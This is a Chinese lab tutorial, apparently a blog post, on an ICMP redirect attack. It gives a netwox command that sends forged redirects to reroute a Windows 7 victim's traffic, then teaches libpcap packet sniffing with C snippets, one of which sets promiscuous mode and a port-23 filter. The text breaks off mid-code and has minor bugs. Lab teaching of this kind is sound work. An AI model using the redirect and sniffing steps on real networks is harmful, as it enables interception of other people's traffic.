实现ICMP重定向攻击

环境:攻击机Ubuntu 18 ,受攻击机Windows7
一、使用netwox体会实验效果,netwox发出的ICMP重定向包的目的IP是受害者的IP,也即,netwox先抓到受害者的数据包,根据捕获包的IP地址,再构造攻击包。

1.Ubuntu安装netwox

sudo apt-get install netwox

2.用netwox做重定向攻击

netwox 86 -g 新的网关地址 -i 目标机当前使用的网关地址

3.在目标机上安装wireshark程序(参考网上),执行ping命令,并启动wireshark抓包,观察虚拟机1 (攻击者)的netwox程序发出的数据包。

二、pcap简单介绍与应用
2.1 pcap简介
pcap是一个抓包库,这个抓包库给抓包系统提供了一个高层次的接口。所有网络上的数据包,甚至是那些发送给其他主机的,通过这种机制,都是可以捕获的。它也支持把捕获的数据包保存为本地文件和从本地文件读取信息。而使用pcap需要以下的流程:

  • 确认嗅探的接口,如Linux中的eth0;

  • 初始化pcap,告诉pcap需要嗅探的接口。使用文件句柄来命名区分不同的对话;

  • 创建自己的规则集,保存在字符串中,“编译“并应用它;

  • 规定循环方式并定义回调函数,回调函数在抓到满足我们的规则集的数据报时执行;

  • 结束会话

接下来我们按照这个步骤一步一步来设置一个简单的pcap程序:

2.2 写一个简单的pcap程序

2.2.1 嗅探接口

    #include <stdio.h>
	#include <pcap.h>//pcap.h

	int main()
	{
   
		char *device;//存储pcap_lookupdev自动寻找到的可用interface
		char err[PCAP_ERRBUF_SIZE];//用于记录pcap_lookupdev的错误信息

		device = pcap_lookupdev(errbuf);//寻找第一个可用的网络interface
		if (device == NULL) {
   
			fprintf(stderr, "Can't find valid interface: %s\n", err);
			return(2);
		}
		printf("Valid Interface: %s\n", device);
		return(0);
	}

尝试运行一下

gcc pcap1.c -o pcap

这里可能会报错找不到pcap.h这个头文件,说明运行机器上未安装libpcap库

安装GNU M4这个是编译flex必备的环境,否则会提示“GNU M4is required”的错误。直接在终端执行

sudo apt-get install m4

安装flex直接在终端执行

sudo apt-get install flex

安装bison直接在终端执行

sudo apt-get install bison

5.安装libpcap上面四步完成后,首先去官网下载libpcap的压缩包,tar -zxvf libpcap-1.9.1.tar.gz 解压后,通过终端进入存放该libpcap到文件路径,就可以使用下面三个指令安装libpcap环境。

./configure
make
sudo make install

第三步建议以sudo到身份执行该命令,否则可能因为权限原因而无法正确执行。完成以上步骤后,libpcap即安装成功。

再次编译,此时加上 -lpcap,告诉gcc要去找pcap的库,但是还是报错,原因是安装libpcap时,.so文件没有在gcc寻找库的默认文件夹下

/usr/local/lib$ sudo cp libpcap.so.1 /usr/lib

/usr/local/lib下,将库文件libpcap.so.1复制到/usr/lib即可
此时再次编译

gcc pcap1.c -o pcap1 -lpcap
./pcap1

运行结果:The Valid Interface is: ens33
en33正式本实验机的接口名称。

2.2.2 打开设备嗅探

 #include <pcap.h>
	 ...
	 pcap_t *handle;//pcap_t结构体,用于接收pcap_open_live返回的句柄

	 handle = pcap_open_live(device, BUFSIZ, 1, 1000, err);
	 if (handle == NULL) {
   
		 fprintf(stderr, "Couldn't open device %s: %s\n", dev, err);
		 return(2);
	 }

pcap_open_live(device, BUFSIZ, 1, 1000, err);:用于获取一个数据包捕获的描述符,以便用来查看网络上的数据包。
device:上文的pcap_lookupdev获得的可用接口;
BUFSIZ:从次device获取流量的缓冲区大小;
1:是否开启混杂模式(是否接收与本机无关的流量);
1000:设置的超时时间(毫秒);
err:存储该函数的错误信息

gcc pcap2.c -o pcap2 -lpcap
sudo ./pcap2.c

执行此函数的时候要sudo,因为要获得接口的流量,需要管理员权限。

2.2.3 定义规则集

对流量进行过滤需要使用pcap_compile()和pcap_setfilter(),前者给指定的数据包捕获描述符设定过滤规则,后者运行这个过滤规则。

int pcap_compile(pcap_t *p, struct bpf_program *fp, char *str, int optimize, bpf_u_int32 netmask)

可以看到编译函数共有五个参数,他们分别是:

  • pcap句柄

  • 存储过滤器的编译版本的位置的引用

  • 规则集,规则集很灵活,pcap规则集

  • 是否优化表达式

  • 指定过滤器适用的网络的网络掩码,可以直接写0

  int pcap_setfilter(pcap_t *p, struct bpf_program *fp)
  • pcap句柄

  • 存储过滤器的编译版本的位置的引用
    简单举个例子:

#include <pcap.h>
	 ...
	 pcap_t *handle;		/* Session handle */
	 char dev[] = "rl0";		/* Device to sniff on */
	 char errbuf[PCAP_ERRBUF_SIZE];	/* Error string */
	 struct bpf_program fp;		/* The compiled filter expression */
	 char filter_exp[] = "port 23";	/* The filter expression ,目标端口23*/
	 bpf_u_int32 mask;		/* The netmask of our sniffing device */
	 bpf_u_int32 net;		/* The IP of our sniffing device */

	//调用函数自动寻找网络掩码
	 if (pcap_lookupnet(dev, &net, &mask
  • 2
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值